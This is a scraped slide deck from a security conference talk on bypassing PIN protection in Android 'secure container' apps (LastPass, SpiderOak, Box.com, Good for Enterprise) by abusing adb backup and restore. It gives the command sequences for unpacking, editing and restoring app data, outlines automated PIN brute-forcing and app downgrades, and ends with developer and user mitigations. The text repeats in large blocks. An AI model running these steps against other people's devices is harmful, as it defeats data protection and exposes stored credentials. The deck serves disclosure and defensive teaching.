AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 103: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 104: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

